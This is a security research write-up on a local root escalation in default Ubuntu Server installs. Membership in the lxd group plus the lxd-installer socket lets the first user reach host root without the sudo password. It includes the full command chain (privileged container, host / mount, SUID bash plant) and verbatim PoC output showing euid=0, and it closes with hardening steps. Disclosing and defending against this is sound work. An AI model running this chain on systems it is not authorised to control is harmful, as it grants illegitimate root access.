Old Wine in a New Bottle: A Decade-Old lxd-Group Root, Re-Armed

Table of Contents

TL;DR

On a default Ubuntu Server install, the first user account is silently placed in the lxd group, and lxd-group membership is root-equivalent by design. From 24.04 onward LXD isn’t even pre-installed, yet the seeded lxd-installer socket (owned root:lxd, mode 0660) lets any lxd-group user install LXD password-free, launch a privileged container with the host filesystem mounted, and walk straight to root on the host, without the sudo password ever being entered. Every individual link is documented, intended behaviour; the weakness is the insecure default composition. We confirmed the full chain to euid=0 end-to-end on 20.04, 22.04, 24.04 and 26.04. The vendor reviewed it, settled on a won’t-fix (a deliberate business decision), and cleared this research for publication.

Full report and self-contained PoC (exploit.sh): lxd-group-privesc-report

It started by accident

This one didn’t start with a target. It started with a habit.

We were testing a local privilege escalation exploit on Ubuntu 26.04. The exploit had only been adapted for the Desktop image so far, and before shipping it we wanted to confirm it behaved the same on Server.

➜ md5sum ubuntu-26.04-live-server-amd64.iso 1e25e40d6837cdcc416805250af2e1d7 ubuntu-26.04-live-server-amd64.iso

So we pulled down the Ubuntu 26.04 Server ISO, spun it up, logged in as the first user the installer had created, and, out of pure muscle memory, the way you do a hundred times a day, typed:

$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),...,101(lxd),27(sudo)

Most of that list is the usual Ubuntu furniture. But one entry caught our eye, mostly because we’d never paid attention to it before:

101(lxd)

lxd. On a freshly installed Server image, the default account was already a member of the lxd group, and we hadn’t done anything to put it there. That was enough to make us stop testing the other exploit and ask a simpler question: what does being in the lxd group actually get you?

A short while later the answer turned out to be: root, without ever touching the sudo password. And the more interesting part, the part this post is really about, is that this isn’t new. It’s been argued about for the better part of a decade, and yet the way modern Ubuntu is assembled quietly put the loaded gun back on the table after the vendor thought they’d unloaded it.

A group that means root

The first thing we did was read LXD’s own security documentation1. It does not mince words:

“Local access to LXD through the Unix socket always grants full access to LXD. This includes the ability to attach file system paths or devices to any instance … Therefore, you should only give such access to users who you’d trust with root access to your system.”

That is about as clear a statement as a vendor ever makes: lxd-group membership is root. LXD’s daemon runs as root, and a member of the lxd group can drive that daemon through its socket. From there the path to host root is textbook:

  • Create a container with security.privileged=true. A privileged container performs no UID mapping: container UID 0 is host UID 0.
  • Attach a disk device with source=/, bind-mounting the host’s entire root filesystem into that container.
  • Inside the container you are now real host root standing on top of the host’s /. Write a SUID-root binary, edit /etc/shadow, drop an SSH key for root. Pick your poison.

None of that is a bug in LXD. It’s the documented, intended power of the LXD socket. Which is exactly why, when we went looking, we found this argument had already been had, twice.

We were not the first to be annoyed by this

A little searching turned up two long-closed discussions that are worth reading back to back.

canonical/lxd issue #3844 (2017)2: “Installation via apt-get automatically adds user to lxd group.” The reporter pointed out that installing LXD silently dropped the default uid:1000 user into the lxd group, which “effectively grant[s] full root access to an arbitrary user upon installation,” and argued it should be opt-in or at least warn the admin. Closed, no behavior change.

Ubuntu Launchpad #1829071 (2019)3: “Privilege escalation via LXD (local root exploit),” filed by Chris Moberly, who also published the well-known write-up at Shenanigans Labs4 and the initstring/lxd_root PoC5. Same core grievance, fuller exploit. The response from LXD’s lead was a Won’t Fix:

“For the deb we won’t be changing the logic at this point and it’s in line with what’s done for libvirt, changing behavior at this point would cause more harm than good.”

The compromise from 2019 was a documentation clarification (the lxd group is root-equivalent, treat it accordingly) plus one concrete mitigation: the LXD snap stopped auto-adding users to the lxd group. As far as the 2019 discussion was concerned, the loaded-by-default problem had been defused: if nobody adds you to lxd, the group is inert.

So this is a solved, won’t-fix, decade-old non-issue. Right?

What changed underneath everyone

Here is where the modern install diverges from the 2019 mental model, and why we think the composition deserves a fresh look even though every individual piece is “by design.”

Change #1: LXD is no longer pre-installed on Ubuntu Server. Per Ubuntu Launchpad #20513466 (Fix Released, Jan 2024), starting with 24.04 the LXD snap is no longer pre-seeded (a consequence of the LXD 5.20 AGPL relicensing). Older Server releases shipped LXD pre-installed: the snap on 20.04 and 22.04, and the lxd deb further back on 18.04. 24.04 and later ship neither (we verify this release-by-release in the matrix below).

Change #2: but the OS installer still puts the first user in lxd. The 2019 mitigation was about the LXD snap no longer adding users. But on 24.04+ the first account isn’t placed in lxd by LXD at all; it’s placed there by the OS installer’s default group set, independent of whether LXD is ever installed. You can see the intended set in cloud-init’s config:

# /etc/cloud/cloud.cfg
default_user:
  name: ubuntu
  groups: [adm, cdrom, dip, lxd, sudo]

Change #3: lxd-installer re-arms the path even with no LXD present. Because the lxc/lxd commands need to keep working before the snap exists, 24.04+ Server seeds a package called lxd-installer. It ships stub wrappers at /usr/sbin/lxc and /usr/sbin/lxd plus a socket-activated installer service. Look at who owns the socket:

# /usr/lib/systemd/system/lxd-installer.socket
[Socket]
ListenStream=/run/lxd-installer.socket
SocketUser=root
SocketGroup=lxd          # group-owned by lxd
SocketMode=0660          # group-writable
Accept=true
# /usr/lib/systemd/system/lxd-installer@.service
[Service]
ExecStart=/usr/share/lxd-installer/lxd-installer-service   # runs as root
$ ls -l /run/lxd-installer.socket
srw-rw---- 1 root lxd /run/lxd-installer.socket

Read that together. Any member of the lxd group can write to a socket that socket-activates a root service whose job is to run snap install lxd, with no password and no polkit prompt. The stub /usr/sbin/lxc does exactly this on first use; you can do it by hand in one line:

python3 -c 'import socket; s=socket.socket(socket.AF_UNIX); s.connect("/run/lxd-installer.socket"); s.send(b"x"); s.recv(1)'

Put the three changes side by side and the net effect is almost ironic. The 2019 fix was “the snap no longer auto-adds users to lxd, so the default account is safe.” On a 2024+ Server install, the OS installer adds the default account to lxd anyway, and lxd-installer makes that membership pay off on demand even though LXD isn’t installed yet. The condition the 2019 mitigation relied on, namely “you’re only at risk if something put you in lxd,” is once again true by default, just through a different door. And that specific composition has no public triage record.

We checked every LTS from 18.04 to 26.04

Claims like “the installer always puts the first user in lxd” and “24.04 swapped the snap for lxd-installer” are easy to assert and easy to get subtly wrong, so we didn’t want to take our own word for it. We pulled the official cloud images7 for the last five LTS releases and inspected each one offline with libguestfs (guestfish/virt-cat): no need to boot anything to read /etc/cloud/cloud.cfg, the dpkg database, the snap seed, and the lxd-installer unit files straight out of the disk image. The full matrix:

Release Default user in lxd? How LXD ships by default lxd-installer Socket root:lxd 0660
18.04 Yes LXD deb 3.0.3 pre-installed no n/a
20.04 Yes LXD snap pre-seeded (lxd_32662.snap) no n/a
22.04 Yes LXD snap pre-seeded (lxd_38800.snap) no n/a
24.04 Yes nothing (installed on demand) Yes 4ubuntu0.1 Yes
26.04 Yes nothing (installed on demand) Yes 14ubuntu0 Yes

Two things jump out.

First, lxd membership is the one constant. Across eight years and five releases, every default user lands in the lxd group, confirmed both in cloud-init’s default_user.groups and in the realized /etc/group. All that changed is cosmetics: 18.04 through 22.04 carried a long list (adm, audio, cdrom, dialout, dip, floppy, lxd, netdev, plugdev, sudo, video), while 24.04 and 26.04 trimmed it to adm, cdrom, dip, lxd, sudo. lxd survived every trim.

Second, the delivery mechanism is exactly what flipped. LXD went from a deb (18.04) to a pre-seeded snap (20.04/22.04) to not present at all (24.04/26.04). The 2019 mental model, “if LXD is installed and you’re in the group, you’re root,” was quietly relying on LXD being there. On 24.04+ it isn’t, and the only reason the chain still closes is the lxd-installer socket, which we found present and byte-for-byte identically configured (SocketUser=root, SocketGroup=lxd, SocketMode=0660, Accept=true) on both 24.04 and 26.04. The /usr/sbin/lxc stub on those releases is a 589-byte shell script whose only gate is, verbatim, “Please make sure you’re a member of the ’lxd’ system group,” after which it pokes the socket with the exact one-liner above. On 26.04 the wrapper gained an interactive “Would you like to install LXD snap now (Y/n)?” prompt, but it is skipped entirely when stdin isn’t a TTY, so a non-interactive script still gets a password-free install.

Precisely: what “pre-installed” means, and why 24.04 is the hinge

This distinction is the pivot the whole story turns on, so it’s worth being exact about it:

  • On 18.04, LXD shipped as a Debian package (lxd 3.0.3), present the moment the OS was installed.
  • On 20.04 and 22.04, LXD shipped as a pre-seeded snap. “Pre-seeded” means the .snap file (e.g. lxd_38800.snap) is physically baked into the image’s snap seed directory, and snapd installs it automatically on first boot, offline, with no network and no user action. LXD is simply already there and running out of the box. So “pre-seeded” does not mean “available to install”; it means “already installed.”
  • On 24.04 and 26.04, neither is true. The image carries no LXD at all, only the lxd-installer stub. LXD does not exist until something triggers an on-demand, network-dependent snap install lxd.

That single shift from pre-installed to install-on-demand, landing in 24.046, is also exactly why the classic 2019 lxd_root PoC no longer “just works” on a stock modern Server, which we come back to below.

The full chain

Stitched together, the whole chain is short, and the sudo password is never used anywhere. On 24.04+ the very first lxc you run triggers the password-free lxd-installer path (Change #3 above); from there it is the classic lxd-group-to-root sequence:

# 0. Prerequisites: you're in the lxd group, and LXD is reachable
id | grep -o lxd            # member of the lxd group
lxc version                 # drives LXD (on 24.04+, the first lxc call installs it, password-free)

# 1. Initialize LXD (any lxd-group member; the dir backend needs no network)
lxc storage create default dir
lxc profile device add default root disk pool=default path=/

# 2. Get an image
lxc image copy ubuntu:24.04 local: --alias osimg          # online
# offline: build a ~3 MB alpine rootfs with lxd-alpine-builder, then
#   lxc image import alpine.tar.gz --alias osimg

# 3. Create a PRIVILEGED container and bind-mount the host's / into it
lxc init osimg privesc -c security.privileged=true
lxc config device add privesc hostroot disk source=/ path=/mnt/host
lxc start privesc

# 4. Enter the container (you are root inside; a privileged container means host root)
lxc exec privesc -- /bin/sh

Inside the container, /mnt/host is the host’s /, so a SUID copy of bash planted there is owned by host root:

# (run inside the container)
cp /mnt/host/bin/bash /mnt/host/rootbash
chmod +s /mnt/host/rootbash

Back on the host, /rootbash -p hands you a shell with euid=0.

To prove this actually fires, not just that the pieces are in place, we booted a stock Ubuntu 26.04 LTS cloud image (kernel 7.0.0-15-generic) under QEMU/KVM, gave the default ubuntu user nothing but an SSH key (without touching its group membership), and ran our PoC over SSH as that unprivileged user. sudo is never invoked anywhere in it. Below is the script’s verbatim stdout; the ### lines are the PoC’s own section markers, and the exact commands behind them are in exploit.sh8:

### ENV
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),102(lxd)
7.0.0-15-generic
Ubuntu 26.04 LTS
IN_LXD=YES

### trigger lxd-installer (no sudo)
  Client version: 6.8
  Server version: 6.8

### pool px + root disk (avoid deadlocking 'default')
Storage pool px created
Device root added to default

### image

### privileged container, host / cold-mounted
Creating privesc
The instance you are starting does not have any network attached to it.
  To create a new network, use: lxc network create
  To attach a network to an instance, use: lxc network attach

Device hostroot added to privesc

### container uid + plant SUID bash on host
uid=0(root) gid=0(root) groups=0(root)

### MONEY SHOT on 26.04 host (no sudo)
-rwsr-xr-x 1 root root 1540520 Jun  9 09:22 /rootbash
ID:uid=1000(ubuntu) gid=1000(ubuntu) euid=0(root) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),102(lxd)
SHADOW:root:*:20593:0:99999:7:::
WROTE_ROOT_OK_as_root
DONE_2604

The base image’s SHA-256 was identical before and after the run (we boot a throwaway qcow2 overlay, so the original is never touched).

euid=0, a read of /etc/shadow, a write into /root, from a normal user on an out-of-the-box 26.04 image (LXD 6.8, installed on demand), sudo password never entered. Start to finish, a couple of minutes. (bash -p is what keeps the elevated euid instead of dropping it; and the SUID copy goes on the root filesystem as /rootbash, not under /mnt/host/tmp, since /tmp is often a separate nosuid mount that a non-recursive bind wouldn’t even expose.)

The complete, self-contained PoC (exploit.sh) that automates all four steps, from triggering lxd-installer to the root shell, together with the full write-up, lives in our repository8.

A free hardening downgrade for the whole machine

There’s a side effect that surprised us. Every time the LXD snap’s daemon.start runs, it calls manage_apparmor_restrictions(), drops a file at /run/sysctl.d/zz-lxd.conf, and applies:

kernel.apparmor_restrict_unprivileged_userns = 0
kernel.apparmor_restrict_unprivileged_unconfined = 0

In other words, triggering the chain above doesn’t just get you root; it silently disables Ubuntu’s unprivileged user-namespace hardening for the entire system, for every user, as a side effect of LXD merely starting. On our test box we watched apparmor_restrict_unprivileged_userns flip 1 → 0 right after the daemon came up. If you were relying on that mitigation to blunt other kernel LPEs, it’s gone the instant anyone touches LXD.

Disclosure

We reported the chain to Ubuntu’s security team. Their position, which we genuinely understand, is that this is intended by design:

“During installation, the default user created is considered the equivalent of the root user. It is an Ubuntu policy decision to include this user in the lxd group.”

We don’t dispute that any single link is intended behavior; we said as much in our first message. Our argument is about the net effect of the whole chain: a normal user reaches full host root without the sudo password ever being used anywhere along the way. That’s the boundary we’d expect “root-equivalent by design” to still respect, and it’s why we think the right label is insecure default rather than working as intended. After reviewing our follow-up, the vendor settled on a won’t-fix, describing it as “a business decision to maintain the current behavior in order to reduce friction,” and explicitly cleared us to publish the write-up, the report details, and the PoC.

We’re publishing the technical details, with the vendor’s blessing, because the underlying behavior is documented, public, and a decade old; the value here is in making the modern composition and its mitigations visible to defenders, not in any secret.

Timeline

  • Reported to the vendor.
  • Jun 4, 2026: Vendor responds, intended by design.
  • Jun 5, 2026: We reply, reframing the issue as the password-free chain rather than any single step.
  • Jun 9, 2026: Vendor confirms a won’t-fix (“a business decision to maintain the current behavior in order to reduce friction”) and explicitly clears us to publish the write-up, report details, and PoC.

If you run Ubuntu Server, do this today

You don’t need a patch to close this. You need to stop treating lxd as a harmless “containers” group.

  • Treat lxd (and incus, docker, libvirt) membership as equal to root. Audit it: getent group lxd.
  • Remove the admin user from lxd if they don’t actively manage containers (they keep sudo for real admin work): sudo gpasswd -d <user> lxd.
  • Never add non-admin or service accounts to lxd.
  • If you don’t want on-demand LXD installs, neutralize the installer: sudo apt purge lxd-installer or sudo systemctl mask lxd-installer.socket.

Closing thought

The technically interesting bug isn’t always the one that gets you root. Sometimes the whole chain is made of behaviors that are each, individually, working exactly as designed and documented, and the weakness lives in how they were assembled by default. The 2019 fix was correct for the system that existed in 2019. The system quietly changed shape underneath it, and the same id output we’ve all glossed over a thousand times was sitting there the whole time, waiting for someone to read it.


References


This research is published for defensive and educational purposes. The escalation relies on documented, intended Ubuntu/LXD behavior and is presented as an insecure-default / hardening finding, not as a novel software defect. Test only systems you own or are authorized to assess.


  1. LXD documentation, Security (“Local access to LXD through the Unix socket always grants full access to LXD … you should only give such access to users who you’d trust with root access to your system”): https://documentation.ubuntu.com/lxd/latest/explanation/security/ ↩︎

  2. canonical/lxd issue #3844, “Installation via apt-get automatically adds user to lxd group” (2017): https://github.com/canonical/lxd/issues/3844 ↩︎

  3. Ubuntu Launchpad bug #1829071, “Privilege escalation via LXD (local root exploit)”, Chris Moberly, 2019, status Won’t Fix: https://bugs.launchpad.net/ubuntu/+source/lxd/+bug/1829071 ↩︎

  4. Shenanigans Labs, “Linux Privilege Escalation via LXD & Hijacked UNIX Socket Credentials” (2019): https://shenaniganslabs.io/2019/05/21/LXD-LPE.html ↩︎

  5. initstring/lxd_root, automated lxd-group to root PoC (lxd_rootv1.sh, lxd_rootv2.py): https://github.com/initstring/lxd_root ↩︎

  6. Ubuntu Launchpad bug #2051346, “No longer preseed LXD snap to allow for LXD 5.20 release” (ubuntu-meta), Fix Released 29 Jan 2024; records that Ubuntu 24.04 stopped pre-seeding the LXD snap and seeds lxd-installer instead: https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/2051346 ↩︎ ↩︎

  7. Ubuntu cloud images (release qcow2 images used for the offline libguestfs inspection and the QEMU/KVM boot tests): https://cloud-images.ubuntu.com/releases/ ↩︎

  8. This research, full report and self-contained PoC (exploit.sh): https://github.com/star-sg/lxd-group-privesc-report ↩︎ ↩︎